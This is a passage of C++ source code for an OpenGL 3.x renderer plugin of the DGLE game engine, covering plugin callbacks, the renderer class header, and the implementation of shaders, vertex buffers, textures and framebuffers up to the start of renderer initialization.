_pEngineCore->RemoveEventListener(ET_ON_WINDOW_MESSAGE, &_s_EventHandler, (void*)this); _pEngineCore->AddEventListener(ET_ON_PROFILER_DRAW, &_s_EventHandler, (void*)this); _pEngineCore->ConsoleUnregister("tmpl_profiler"); } void CPluginCore::_Render() { //ToDo: Put your code here. } void CPluginCore::_Update(uint uiDeltaTime) { //ToDo: Put your code here. } void CPluginCore::_Init() { //ToDo: Put your code here. } void CPluginCore::_Free() { //ToDo: Put your code here. } void CPluginCore::_MsgProc(const TWindowMessage &stMsg) { //ToDo: Put your code here. } void CPluginCore::_ProfilerDraw() { if (_iDrawProfiler == 0) return; _pEngineCore->RenderProfilerText("GL3XRender plugin is here"); } DGLE_RESULT DGLE_API CPluginCore::GetPluginInfo(TPluginInfo &stInfo) { strcpy(stInfo.cName, PLUGIN_NAME); strcpy(stInfo.cVersion, PLUGIN_VERSION); strcpy(stInfo.cVendor, PLUGIN_VENDOR); strcpy(stInfo.cDescription, PLUGIN_DESCRIPTION); stInfo.ui8PluginSDKVersion = _DGLE_PLUGIN_SDK_VER_; return S_OK; } DGLE_RESULT DGLE_API CPluginCore::GetPluginInterfaceName(char* pcName, uint &uiCharsCount) { if (!pcName) { uiCharsCount = (uint)strlen(PLUGIN_INTERFACE_NAME) + 1; return S_OK; } if (uiCharsCount <= (uint)strlen(PLUGIN_INTERFACE_NAME)) { uiCharsCount = (uint)strlen(PLUGIN_INTERFACE_NAME) + 1; if (uiCharsCount > 0) strcpy(pcName, ""); return E_INVALIDARG; } strcpy(pcName, PLUGIN_INTERFACE_NAME); return S_OK; } DGLE_RESULT DGLE_API CPluginCore::GetSubSystemInterface(IEngineSubSystem*& prSubSystem) { prSubSystem = reinterpret_cast<IEngineSubSystem*>(_pGL3XCoreRender); return S_OK; } void DGLE_API CPluginCore::_s_Render(void *pParameter) { ((CPluginCore *)pParameter)->_Render(); } void DGLE_API CPluginCore::_s_Update(void *pParameter) { uint dt; ((CPluginCore *)pParameter)->_pEngineCore->GetLastUpdateDeltaTime(dt); ((CPluginCore *)pParameter)->_Update(dt); } void DGLE_API CPluginCore::_s_Init(void *pParameter) { ((CPluginCore *)pParameter)->_Init(); } void DGLE_API CPluginCore::_s_Free(void *pParameter) { ((CPluginCore *)pParameter)->_Free(); } void DGLE_API CPluginCore::_s_EventHandler(void *pParameter, IBaseEvent *pEvent) { E_EVENT_TYPE ev_type; TWindowMessage msg; pEvent->GetEventType(ev_type); switch(ev_type) { case ET_ON_WINDOW_MESSAGE: IEvWindowMessage *p_ev_msg; p_ev_msg = (IEvWindowMessage *)pEvent; p_ev_msg->GetMessage(msg); ((CPluginCore *)pParameter)->_MsgProc(msg); break; case ET_ON_PROFILER_DRAW: ((CPluginCore *)pParameter)->_ProfilerDraw(); break; } }<file_sep>/src/GL3XCoreRender.h /** \author <NAME>ka Consta \date 11.01.2018 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ #pragma once #include "DGLE.h" #include "DGLE_CoreRenderer.h" #include "GL/glew.h" #include <vector> using namespace DGLE; class GL3XCoreRender; struct ShaderSrc; enum INPUT_ATTRIBUTE { NONE = 0, POS = 1, NORM = 2, TEX_COORD = 4 }; inline INPUT_ATTRIBUTE operator|(INPUT_ATTRIBUTE a, INPUT_ATTRIBUTE b) { return static_cast<INPUT_ATTRIBUTE>(static_cast<int>(a) | static_cast<int>(b)); } inline INPUT_ATTRIBUTE operator&(INPUT_ATTRIBUTE a, INPUT_ATTRIBUTE b) { return static_cast<INPUT_ATTRIBUTE>(static_cast<int>(a) & static_cast<int>(b)); } class GLShader { const ShaderSrc *p; GLuint programID; GLuint fragID; GLuint vertID; public: GLuint ID_Program() const { return programID; } void Init(const ShaderSrc& parent); void Free(); bool bPositionIsVec2() const; bool bInputNormals() const; bool bInputTextureCoords() const; bool hasUniform(std::string) const; bool bAlphaTest() const; }; class GLGeometryBuffer final : public ICoreGeometryBuffer { bool _bAlreadyInitalized; uint _vertexBytes; uint _indexBytes; GLsizei _vertexCount; GLsizei _indexCount; GLuint _vao; GLuint _vbo; GLuint _ibo; E_CORE_RENDERER_BUFFER_TYPE _eBufferType; E_CORE_RENDERER_DRAW_MODE _eDrawMode; GL3XCoreRender * const _pRnd; INPUT_ATTRIBUTE _attribs_presented; GLuint activated_attributes[5]; bool _b2dPosition; public: GLGeometryBuffer(E_CORE_RENDERER_BUFFER_TYPE eType, bool indexBuffer, GL3XCoreRender *pRnd); ~GLGeometryBuffer(); GLuint input_attrib_to_uint(INPUT_ATTRIBUTE attrib); inline GLuint VAO_ID() { return _vao; } inline bool IndexDrawing() { return _ibo > 0; } inline GLsizei VertexCount() { return _vertexCount; } inline GLsizei IndexCount() { return _indexCount; } inline INPUT_ATTRIBUTE GetAttributes() { return _attribs_presented; } inline bool Is2dPosition() { return _b2dPosition; } inline GLenum GLDrawMode(); inline void ToggleAttribInVAO(INPUT_ATTRIBUTE attrib, bool value); GLsizei vertexSize(const TDrawDataDesc& stDrawDesc); DGLE_RESULT DGLE_API GetGeometryData(TDrawDataDesc& stDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) override; DGLE_RESULT DGLE_API SetGeometryData(const TDrawDataDesc& stDrawDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) override; DGLE_RESULT DGLE_API Reallocate(const TDrawDataDesc& stDrawDesc, uint uiVerticesCount, uint uiIndicesCount, E_CORE_RENDERER_DRAW_MODE eMode) override; DGLE_RESULT DGLE_API GetBufferDimensions(uint& uiVerticesDataSize, uint& uiVerticesCount, uint& uiIndexesDataSize, uint& uiIndexesCount) override; DGLE_RESULT DGLE_API GetBufferDrawDataDesc(TDrawDataDesc& stDesc) override; DGLE_RESULT DGLE_API GetBufferDrawMode(E_CORE_RENDERER_DRAW_MODE& eMode) override; DGLE_RESULT DGLE_API GetBufferType(E_CORE_RENDERER_BUFFER_TYPE& eType) override; DGLE_RESULT DGLE_API GetBaseObject(IBaseRenderObjectContainer*& prObj) override; DGLE_RESULT DGLE_API Free() override; IDGLE_BASE_IMPLEMENTATION(ICoreGeometryBuffer, INTERFACE_IMPL_END) }; class GLTexture final : public ICoreTexture { GLuint _textureID; bool _bMipmapsAllocated; public: GLTexture(); ~GLTexture(); inline GLuint Texture_ID() { return _textureID; } void SetMipmapAllocated() { _bMipmapsAllocated = true; } DGLE_RESULT DGLE_API GetSize(uint& width, uint& height) override; DGLE_RESULT DGLE_API GetDepth(uint& depth) override; DGLE_RESULT DGLE_API GetType(E_TEXTURE_TYPE& eType) override; DGLE_RESULT DGLE_API GetFormat(E_TEXTURE_DATA_FORMAT& eFormat) override; DGLE_RESULT DGLE_API GetLoadFlags(E_TEXTURE_LOAD_FLAGS& eLoadFlags) override; DGLE_RESULT DGLE_API GetPixelData(uint8* pData, uint& uiDataSize, uint uiLodLevel) override; DGLE_RESULT DGLE_API SetPixelData(const uint8* pData, uint uiDataSize, uint uiLodLevel) override; DGLE_RESULT DGLE_API Reallocate(const uint8* pData, uint uiWidth, uint uiHeight, bool bMipMaps, E_TEXTURE_DATA_FORMAT eDataFormat) override; DGLE_RESULT DGLE_API GetBaseObject(IBaseRenderObjectContainer*& prObj) override; DGLE_RESULT DGLE_API Free() override; IDGLE_BASE_IMPLEMENTATION(ICoreTexture, INTERFACE_IMPL_END) }; struct State { State() : alphaTest(false), tex_ID_last_binded(0), color(1, 1, 1, 1), clearColor(0, 0, 0, 0), poligonMode(GL_FILL), pRenderTarget(nullptr){} TBlendStateDesc blend; bool alphaTest; GLuint tex_ID_last_binded; TDepthStencilDesc depth; TColor4 color; TColor4 clearColor; GLint poligonMode; // GL_FILL GL_LINE GLboolean cullingOn; // GL_FALSE GL_TRUE GLint cullingMode; // GL_FRONT GL_BACK ICoreTexture *pRenderTarget; }; struct FBO { FBO() : ID(0), depth_renderbuffer_ID(0), width(0), height(0) {} GLuint ID; GLuint depth_renderbuffer_ID; int width, height; void Init(); void GenerateDepthRenderbuffer(uint w, uint h); void Free(); }; class GL3XCoreRender final : public ICoreRenderer { std::vector<GLShader> _shaders; std::stack<State> _states; TMatrix4x4 MV; TMatrix4x4 P; TMatrix4x4 T; GLuint tex_ID_last_binded; bool alphaTest; TColor4 _color; TColor4 _clearColor; ICoreTexture *pCurrentRenderTarget; std::vector<FBO> _fboPool; GLsizei viewportWidth, viewportHeight; GLint viewportX, viewportY; GLShader* chooseShader(INPUT_ATTRIBUTE attributes, bool texture_binded, bool light_on, bool is2d, bool alphaTest); public: GL3XCoreRender(IEngineCore *pCore); DGLE_RESULT DGLE_API Prepare(TCrRndrInitResults &stResults) override; DGLE_RESULT DGLE_API Initialize(TCrRndrInitResults &stResults, TEngineWindow &stWin, E_ENGINE_INIT_FLAGS &eInitFlags) override; DGLE_RESULT DGLE_API Finalize() override; DGLE_RESULT DGLE_API AdjustMode(TEngineWindow &stNewWin) override; DGLE_RESULT DGLE_API MakeCurrent() override; DGLE_RESULT DGLE_API Present() override; DGLE_RESULT DGLE_API SetClearColor(const TColor4 &stColor) override; DGLE_RESULT DGLE_API GetClearColor(TColor4 &stColor) override; DGLE_RESULT DGLE_API Clear(bool bColor, bool bDepth, bool bStencil) override; DGLE_RESULT DGLE_API SetViewport(uint x, uint y, uint width, uint height) override; DGLE_RESULT DGLE_API GetViewport(uint &x, uint &y, uint &width, uint &height) override; DGLE_RESULT DGLE_API SetScissorRectangle(uint x, uint y, uint width, uint height) override; DGLE_RESULT DGLE_API GetScissorRectangle(uint &x, uint &y, uint &width, uint &height) override; DGLE_RESULT DGLE_API SetLineWidth(float fWidth) override; DGLE_RESULT DGLE_API GetLineWidth(float &fWidth) override; DGLE_RESULT DGLE_API SetPointSize(float fSize) override; DGLE_RESULT DGLE_API GetPointSize(float &fSize) override; DGLE_RESULT DGLE_API ReadFrameBuffer(uint uiX, uint uiY, uint uiWidth, uint uiHeight, uint8 *pData, uint uiDataSize, E_TEXTURE_DATA_FORMAT eDataFormat) override; DGLE_RESULT DGLE_API SetRenderTarget(ICoreTexture *pTexture) override; DGLE_RESULT DGLE_API GetRenderTarget(ICoreTexture *&prTexture) override; DGLE_RESULT DGLE_API CreateTexture(ICoreTexture *&prTex, const uint8* const pData, uint uiWidth, uint uiHeight, bool bMipmapsPresented, E_CORE_RENDERER_DATA_ALIGNMENT eDataAlignment, E_TEXTURE_DATA_FORMAT eDataFormat, E_TEXTURE_LOAD_FLAGS eLoadFlags) override; DGLE_RESULT DGLE_API CreateGeometryBuffer(ICoreGeometryBuffer *&prBuffer, const TDrawDataDesc &stDrawDesc, uint uiVerticesCount, uint uiIndicesCount, E_CORE_RENDERER_DRAW_MODE eMode, E_CORE_RENDERER_BUFFER_TYPE eType) override; DGLE_RESULT DGLE_API ToggleStateFilter(bool bEnabled) override; DGLE_RESULT DGLE_API InvalidateStateFilter() override; DGLE_RESULT DGLE_API PushStates() override; DGLE_RESULT DGLE_API PopStates() override; DGLE_RESULT DGLE_API SetMatrix(const TMatrix4x4 &stMatrix, E_MATRIX_TYPE eMatType) override; DGLE_RESULT DGLE_API GetMatrix(TMatrix4x4 &stMatrix, E_MATRIX_TYPE eMatType) override; DGLE_RESULT DGLE_API Draw(const TDrawDataDesc &stDrawDesc, E_CORE_RENDERER_DRAW_MODE eMode, uint uiCount) override; DGLE_RESULT DGLE_API DrawBuffer(ICoreGeometryBuffer *pBuffer) override; DGLE_RESULT DGLE_API SetColor(const TColor4 &stColor) override; DGLE_RESULT DGLE_API GetColor(TColor4 &stColor) override; DGLE_RESULT DGLE_API ToggleBlendState(bool bEnabled) override; DGLE_RESULT DGLE_API ToggleAlphaTestState(bool bEnabled) override; DGLE_RESULT DGLE_API SetBlendState(const TBlendStateDesc &stState) override; DGLE_RESULT DGLE_API GetBlendState(TBlendStateDesc &stState) override; DGLE_RESULT DGLE_API SetDepthStencilState(const TDepthStencilDesc &stState) override; DGLE_RESULT DGLE_API GetDepthStencilState(TDepthStencilDesc &stState) override; DGLE_RESULT DGLE_API SetRasterizerState(const TRasterizerStateDesc &stState) override; DGLE_RESULT DGLE_API GetRasterizerState(TRasterizerStateDesc &stState) override; DGLE_RESULT DGLE_API BindTexture(ICoreTexture *pTex, uint uiTextureLayer) override; DGLE_RESULT DGLE_API GetBindedTexture(ICoreTexture *&prTex, uint uiTextureLayer) override; DGLE_RESULT DGLE_API GetFixedFunctionPipelineAPI(IFixedFunctionPipeline *&prFFP) override; DGLE_RESULT DGLE_API GetDeviceMetric(E_CORE_RENDERER_METRIC_TYPE eMetric, int &iValue) override; DGLE_RESULT DGLE_API IsFeatureSupported(E_CORE_RENDERER_FEATURE_TYPE eFeature, bool &bIsSupported) override; DGLE_RESULT DGLE_API GetRendererType(E_CORE_RENDERER_TYPE &eType) override; // IEngineSubSystem DGLE_RESULT DGLE_API GetType(E_ENGINE_SUB_SYSTEM &eSubSystemType) override; IDGLE_BASE_IMPLEMENTATION(ICoreRenderer, INTERFACE_IMPL(IEngineSubSystem, INTERFACE_IMPL_END)) }; <file_sep>/src/GL3XCoreRender.cpp /** \author <NAME>ka Consta \date 12.06.2016 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ #include "GL3XCoreRender.h" #include <assert.h> #include <algorithm> #include <memory> #include <map> using namespace std; #define LOG_INFO(txt) LogToDGLE((string("GL3XCoreRender: ") + txt).c_str(), LT_INFO, __FILE__, __LINE__) #define LOG_WARNING(txt) LogToDGLE(std::string(txt).c_str(), LT_WARNING, __FILE__, __LINE__) void E_GUARDS() { GLenum err = glGetError(); if (err != GL_NO_ERROR) { string error; switch (err) { case GL_INVALID_OPERATION: error = "INVALID_OPERATION"; break; case GL_INVALID_ENUM: error = "INVALID_ENUM"; break; case GL_INVALID_VALUE: error = "INVALID_VALUE"; break; case GL_OUT_OF_MEMORY: error = "OUT_OF_MEMORY"; break; case GL_INVALID_FRAMEBUFFER_OPERATION: error = "INVALID_FRAMEBUFFER_OPERATION"; break; } assert(err == GL_NO_ERROR); } } extern bool CreateGL(TWindowHandle hwnd, IEngineCore* pCore, const TEngineWindow& stWin); extern void MakeCurrent(); extern void FreeGL(); extern void SwapBuffer(); static IEngineCore *_core; #include "shaderSources.h" #pragma warning(push) #pragma warning(disable:4715) inline GLenum BlendFactor_DGLE_2_GL(E_BLEND_FACTOR dgleFactor) { switch (dgleFactor) { case BF_ZERO: return GL_ZERO; case BF_ONE: return GL_ONE; case BF_SRC_COLOR: return GL_SRC_COLOR; case BF_SRC_ALPHA: return GL_SRC_ALPHA; case BF_DST_COLOR: return GL_DST_COLOR; case BF_DST_ALPHA: return GL_DST_ALPHA; case BF_ONE_MINUS_SRC_COLOR: return GL_ONE_MINUS_SRC_COLOR; case BF_ONE_MINUS_SRC_ALPHA: return GL_ONE_MINUS_SRC_ALPHA; default: assert(false); } } inline E_BLEND_FACTOR BlendFactor_GL_2_DGLE(GLenum glFactor) { switch (glFactor) { case GL_ZERO: return BF_ZERO; case GL_ONE: return BF_ONE; case GL_SRC_COLOR: return BF_SRC_COLOR; case GL_SRC_ALPHA: return BF_SRC_ALPHA; case GL_DST_COLOR: return BF_DST_COLOR; case GL_DST_ALPHA: return BF_DST_ALPHA; case GL_ONE_MINUS_SRC_COLOR:return BF_ONE_MINUS_SRC_COLOR; case GL_ONE_MINUS_SRC_ALPHA:return BF_ONE_MINUS_SRC_ALPHA; default: assert(false); } } #pragma warning(pop) int calculateDataSize(uint uiWidth, uint uiHeight, E_TEXTURE_DATA_FORMAT eDataFormat) { //TODO: support align if (eDataFormat == TDF_DXT1 || eDataFormat == TDF_DXT5) { int blockSize; if (eDataFormat == TDF_DXT1) blockSize = 8; else blockSize = 16; if (uiWidth < 4 || uiHeight < 4) return blockSize; return (uiWidth / 4) * (uiHeight / 4) * blockSize; } int bytePerPixel; switch(eDataFormat) { case TDF_ALPHA8: bytePerPixel = 1; break; case TDF_BGR8: bytePerPixel = 3; case TDF_RGB8: bytePerPixel = 3; break; case TDF_RGBA8: bytePerPixel = 4; case TDF_BGRA8: bytePerPixel = 4; break; default: assert(false); } int n = uiWidth * uiHeight * bytePerPixel; return n; } static void LogToDGLE(const char *pcTxt, E_LOG_TYPE eType, const char *pcSrcFileName, int iSrcLineNumber) { _core->WriteToLogEx(pcTxt, eType, pcSrcFileName, iSrcLineNumber); } static void checkShaderError(uint id, GLenum type) { int iStatus; if (type == GL_COMPILE_STATUS) glGetShaderiv(id, GL_COMPILE_STATUS, &iStatus); else if (type == GL_LINK_STATUS) glGetProgramiv(id, GL_LINK_STATUS, &iStatus); if (iStatus == GL_FALSE) { GLint length = 0; if (type == GL_COMPILE_STATUS) glGetShaderiv(id, GL_INFO_LOG_LENGTH, &length); else if (type == GL_LINK_STATUS) glGetProgramiv(id, GL_INFO_LOG_LENGTH, &length); auto msg = make_unique<char[]>(length); if (type == GL_COMPILE_STATUS) glGetShaderInfoLog(id, length, &length, msg.get()); else if (type == GL_LINK_STATUS) glGetProgramInfoLog(id, length, &length, msg.get()); assert(false); } } void GLShader::Init(const ShaderSrc& parent) { E_GUARDS(); p = &parent; LOG_INFO("GLShader() for "); programID = glCreateProgram(); vertID = glCreateShader(GL_VERTEX_SHADER); glShaderSource(vertID, p->linesVertexShader, p->ppTxtVertex, nullptr); glCompileShader(vertID); checkShaderError(vertID, GL_COMPILE_STATUS); fragID = glCreateShader(GL_FRAGMENT_SHADER); glShaderSource(fragID, p->linesFragmentShader, p->ppTxtFragment, nullptr); glCompileShader(fragID); checkShaderError(fragID, GL_COMPILE_STATUS); glAttachShader(programID, vertID); glAttachShader(programID, fragID); glLinkProgram(programID); checkShaderError(programID, GL_LINK_STATUS); E_GUARDS(); } void GLShader::Free() { LOG_INFO("~GLShader()"); E_GUARDS(); if (vertID != 0) glDeleteShader(vertID); if (fragID != 0) glDeleteShader(fragID); if (programID != 0) glDeleteProgram(programID); E_GUARDS(); } bool GLShader::bPositionIsVec2() const { return p->bPositionIsVec2; } bool GLShader::hasUniform(string u) const { E_GUARDS(); int id = glGetUniformLocation(programID, u.c_str()); E_GUARDS(); return id != -1; } bool GLShader::bAlphaTest() const { return p->bAlphaTest; } bool GLShader::bInputNormals() const { return (p->attribs & NORM) > 0; } bool GLShader::bInputTextureCoords() const { return (p->attribs & TEX_COORD) > 0; } static void getGLFormats(E_TEXTURE_DATA_FORMAT eDataFormat, GLint& VRAMFormat, GLenum& sourceFormat) { switch (eDataFormat) { case TDF_RGB8: VRAMFormat = GL_RGB8; sourceFormat = GL_RGB; break; case TDF_RGBA8: VRAMFormat = GL_RGBA8; sourceFormat = GL_RGBA; break; case TDF_ALPHA8: VRAMFormat = GL_R8; sourceFormat = GL_RED; break; case TDF_BGR8: VRAMFormat = GL_RGB8; sourceFormat = GL_BGR; break; case TDF_BGRA8: VRAMFormat = GL_RGBA8; sourceFormat = GL_BGRA; break; case TDF_DXT1: VRAMFormat = GL_COMPRESSED_RGB_S3TC_DXT1_EXT; sourceFormat = GL_RGB; break; case TDF_DXT5: assert(false); /*implement*/ break; //case TDF_DEPTH_COMPONENT24: break; //case TDF_DEPTH_COMPONENT32: break; default: assert(false); break; } } //////////////////////////// // Geometry // //////////////////////////// inline GLuint GLGeometryBuffer::input_attrib_to_uint(INPUT_ATTRIBUTE attrib) { const static map<INPUT_ATTRIBUTE, GLuint> enum_to_ind = { { POS, 0 }, { NORM, 1 }, { TEX_COORD, 2 } }; return enum_to_ind.at(attrib); } inline GLenum GLGeometryBuffer::GLDrawMode() { GLenum mode; switch (_eDrawMode) { case CRDM_POINTS: mode = GL_POINTS; break; case CRDM_LINES: mode = GL_LINES; break; case CRDM_LINE_STRIP: mode = GL_LINE_STRIP; break; case CRDM_TRIANGLES: mode = GL_TRIANGLES; break; case CRDM_TRIANGLE_STRIP: mode = GL_TRIANGLE_STRIP; break; case CRDM_TRIANGLE_FAN: mode = GL_TRIANGLE_FAN; break; } return mode; } inline void GLGeometryBuffer::ToggleAttribInVAO(INPUT_ATTRIBUTE attrib, bool value) { E_GUARDS(); const GLuint i = input_attrib_to_uint(attrib); if (value && !activated_attributes[i]) { activated_attributes[i] = true; glEnableVertexAttribArray(i); } else if (!value && activated_attributes[i]) { activated_attributes[i] = false; glDisableVertexAttribArray(i); } E_GUARDS(); } GLsizei GLGeometryBuffer::vertexSize(const TDrawDataDesc& stDrawDesc) { return 4 * ( // sizeof(float) (stDrawDesc.bVertices2D ? 2 : 3) + (stDrawDesc.uiNormalOffset != -1 ? 3 : 0) + (stDrawDesc.uiTextureVertexOffset != -1 ? 2 : 0) + (stDrawDesc.uiColorOffset != -1 ? 4 : 0) + (stDrawDesc.uiTangentOffset != -1 ? 3 : 0) + (stDrawDesc.uiBinormalOffset != -1 ? 3 : 0)); } GLGeometryBuffer::GLGeometryBuffer(E_CORE_RENDERER_BUFFER_TYPE eType, bool indexBuffer, GL3XCoreRender *pRnd) : _bAlreadyInitalized(false), _vertexCount(0), _indexCount(0), _vao(0), _vbo(0), _ibo(0), _eBufferType(eType), _pRnd(pRnd), _attribs_presented(NONE), activated_attributes{0}, _b2dPosition(false) { E_GUARDS(); glGenVertexArrays(1, &_vao); glGenBuffers(1, &_vbo); if (indexBuffer) glGenBuffers(1, &_ibo); //LOG_INFO("GLGeometryBuffer()"); E_GUARDS(); } GLGeometryBuffer::~GLGeometryBuffer() { E_GUARDS(); if (_ibo!=0) glDeleteBuffers(1, &_ibo); glDeleteBuffers(1, &_vbo); glDeleteVertexArrays(1, &_vao); //LOG_INFO("~GLGeometryBuffer()"); E_GUARDS(); } DGLE_RESULT DGLE_API GLGeometryBuffer::GetGeometryData(TDrawDataDesc& stDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) {return S_OK;} DGLE_RESULT DGLE_API GLGeometryBuffer::SetGeometryData(const TDrawDataDesc& stDrawDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) { return S_OK; } // what is purpose if Reallocate() exists? DGLE_RESULT DGLE_API GLGeometryBuffer::Reallocate(const TDrawDataDesc& stDrawDesc, uint uiVerticesCount, uint uiIndicesCount, E_CORE_RENDERER_DRAW_MODE eMode) { E_GUARDS(); _eDrawMode = eMode; _vertexCount = uiVerticesCount; _indexCount = uiIndicesCount; _vertexBytes = vertexSize(stDrawDesc); const GLsizei vertex_data_bytes = uiVerticesCount * _vertexBytes; _indexBytes = (stDrawDesc.bIndexBuffer32 ? sizeof(uint32) : sizeof(uint16)); const GLsizei indexes_data_bytes = uiIndicesCount * _indexBytes; _b2dPosition = stDrawDesc.bVertices2D; if (!_bAlreadyInitalized) { if (_eBufferType == CRBT_SOFTWARE) return E_FAIL; // not implemented glBindVertexArray(_vao); glBindBuffer(GL_ARRAY_BUFFER, _vbo); const GLenum glBufferType = _eBufferType == CRBT_HARDWARE_STATIC ? GL_STATIC_DRAW : GL_DYNAMIC_DRAW; glBufferData(GL_ARRAY_BUFFER, vertex_data_bytes, reinterpret_cast<const void*>(stDrawDesc.pData), glBufferType); // send data to VRAM glVertexAttribPointer(input_attrib_to_uint(POS), _b2dPosition ? 2 : 3, GL_FLOAT, GL_FALSE, stDrawDesc.uiVertexStride, reinterpret_cast<void*>(0)); _attribs_presented = POS; if (stDrawDesc.uiNormalOffset != -1) { glVertexAttribPointer(input_attrib_to_uint(NORM), 3, GL_FLOAT, GL_FALSE, stDrawDesc.uiNormalStride, reinterpret_cast<void*>(stDrawDesc.uiNormalOffset)); _attribs_presented = _attribs_presented | NORM; } if (stDrawDesc.uiTextureVertexOffset != -1) { glVertexAttribPointer(input_attrib_to_uint(TEX_COORD), 2, GL_FLOAT, GL_FALSE, stDrawDesc.uiTextureVertexStride, reinterpret_cast<void*>(stDrawDesc.uiTextureVertexOffset)); _attribs_presented = _attribs_presented | TEX_COORD; } assert(_attribs_presented & POS); // TODO: implement tangent and binormal if (indexes_data_bytes > 0) { glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, _ibo); glBufferData(GL_ELEMENT_ARRAY_BUFFER, indexes_data_bytes, reinterpret_cast<const void*>(stDrawDesc.pIndexBuffer), glBufferType); // send data to VRAM } glBindVertexArray(0); _bAlreadyInitalized = true; } else // update data in buffer { // TODO } E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GLGeometryBuffer::GetBufferDimensions(uint& uiVerticesDataSize, uint& uiVerticesCount, uint& uiIndexesDataSize, uint& uiIndexesCount) { uiVerticesCount = _vertexCount; uiIndexesCount = _indexCount; uiVerticesDataSize = _vertexCount * _vertexBytes; uiIndexesDataSize = _indexCount * _indexBytes; return S_OK; } DGLE_RESULT DGLE_API GLGeometryBuffer::GetBufferDrawDataDesc(TDrawDataDesc& stDesc) {return S_OK;} DGLE_RESULT DGLE_API GLGeometryBuffer::GetBufferDrawMode(E_CORE_RENDERER_DRAW_MODE& eMode) {return S_OK;} DGLE_RESULT DGLE_API GLGeometryBuffer::GetBufferType(E_CORE_RENDERER_BUFFER_TYPE& eType) {return S_OK;} DGLE_RESULT DGLE_API GLGeometryBuffer::GetBaseObject(IBaseRenderObjectContainer*& prObj) {return S_OK;} DGLE_RESULT DGLE_API GLGeometryBuffer::Free() { delete this; return S_OK; } //////////////////////////// // Texture // //////////////////////////// GLTexture::GLTexture() : _bMipmapsAllocated(false) { E_GUARDS(); glGenTextures(1, &_textureID); E_GUARDS(); } GLTexture::~GLTexture() { E_GUARDS(); glDeleteTextures(1, &_textureID); E_GUARDS(); } DGLE_RESULT DGLE_API GLTexture::GetSize(uint& width, uint& height) { E_GUARDS(); int w, h; glBindTexture(GL_TEXTURE_2D, Texture_ID()); glGetTexLevelParameteriv(GL_TEXTURE_2D, 0, GL_TEXTURE_WIDTH, &w); glGetTexLevelParameteriv(GL_TEXTURE_2D, 0, GL_TEXTURE_HEIGHT, &h); glBindTexture(GL_TEXTURE_2D, 0); width = w; height = h; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GLTexture::GetDepth(uint& depth) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::GetType(E_TEXTURE_TYPE& eType) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::GetFormat(E_TEXTURE_DATA_FORMAT& eFormat) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::GetLoadFlags(E_TEXTURE_LOAD_FLAGS& eLoadFlags) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::GetPixelData(uint8* pData, uint& uiDataSize, uint uiLodLevel) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::SetPixelData(const uint8* pData, uint uiDataSize, uint uiLodLevel) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::Reallocate(const uint8* pData, uint uiWidth, uint uiHeight, bool bMipMaps, E_TEXTURE_DATA_FORMAT eDataFormat) { // TODO: // load mipmaps // check if foormat changed then recreate texture // check if mipmap: true -> false => recreate texture; false->true => glGenerateMipmap() E_GUARDS(); GLint VRAMFormat; GLenum sourceFormat; GLenum sourceType = GL_UNSIGNED_BYTE; getGLFormats(eDataFormat, VRAMFormat, sourceFormat); glBindTexture(GL_TEXTURE_2D, Texture_ID()); E_GUARDS(); const bool compressed = eDataFormat == TDF_DXT1 || eDataFormat == TDF_DXT5; if (compressed) { int nSize = calculateDataSize(uiWidth, uiHeight, eDataFormat); glCompressedTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, uiWidth, uiHeight, VRAMFormat, nSize, pData); } else glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, uiWidth, uiHeight, sourceFormat, sourceType, pData); E_GUARDS(); if (bMipMaps) glGenerateMipmap(GL_TEXTURE_2D); glBindTexture(GL_TEXTURE_2D, 0); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GLTexture::GetBaseObject(IBaseRenderObjectContainer*& prObj) {return S_OK;} DGLE_RESULT DGLE_API GLTexture::Free() { delete this; return S_OK; } void FBO::Init() { E_GUARDS(); glGenFramebuffers(1, &ID); E_GUARDS(); } void FBO::GenerateDepthRenderbuffer(uint w, uint h) { E_GUARDS(); glGenRenderbuffers(1, &depth_renderbuffer_ID); glBindRenderbuffer(GL_RENDERBUFFER, depth_renderbuffer_ID); glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH_COMPONENT, w, h); glBindRenderbuffer(GL_RENDERBUFFER, 0); E_GUARDS(); } void FBO::Free() { E_GUARDS(); if (depth_renderbuffer_ID) glDeleteRenderbuffers(1, &depth_renderbuffer_ID); glDeleteFramebuffers(1, &ID); E_GUARDS(); } ////////////////////////// // Render // ////////////////////////// GL3XCoreRender::GL3XCoreRender(IEngineCore *pCore) : tex_ID_last_binded(0), alphaTest(false), pCurrentRenderTarget(nullptr), _clearColor(0, 0, 0, 0) { _core = pCore; } DGLE_RESULT DGLE_API GL3XCoreRender::Prepare(TCrRndrInitResults& stResults) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::Initialize(TCrRndrInitResults& stResults, TEngineWindow& stWin, E_ENGINE_INIT_FLAGS& eInitFlags) { TWindowHandle handle; _core->GetWindowHandle(handle); if (!CreateGL(handle, _core, stWin)) return E_FAIL; E_GUARDS(); #define OGLI "Initialized at OpenGL " GLint major, minor; char buffer[sizeof(OGLI) + 4]; glGetIntegerv(GL_MAJOR_VERSION, &major); glGetIntegerv(GL_MINOR_VERSION, &minor); sprintf(buffer, OGLI"%i.%i", major, minor); LOG_INFO(string(buffer)); GLfloat clColor[4]; glGetFloatv(GL_COLOR_CLEAR_VALUE, clColor); _clearColor.SetColorF(clColor[0], clColor[1], clColor[2], clColor[3]); E_GUARDS(); for each (const ShaderSrc& sh in getShaderSources()) { GLShader s; s.Init(sh); _shaders.push_back(s); } E_GUARDS(); if (stWin.eMultisampling != MM_NONE) 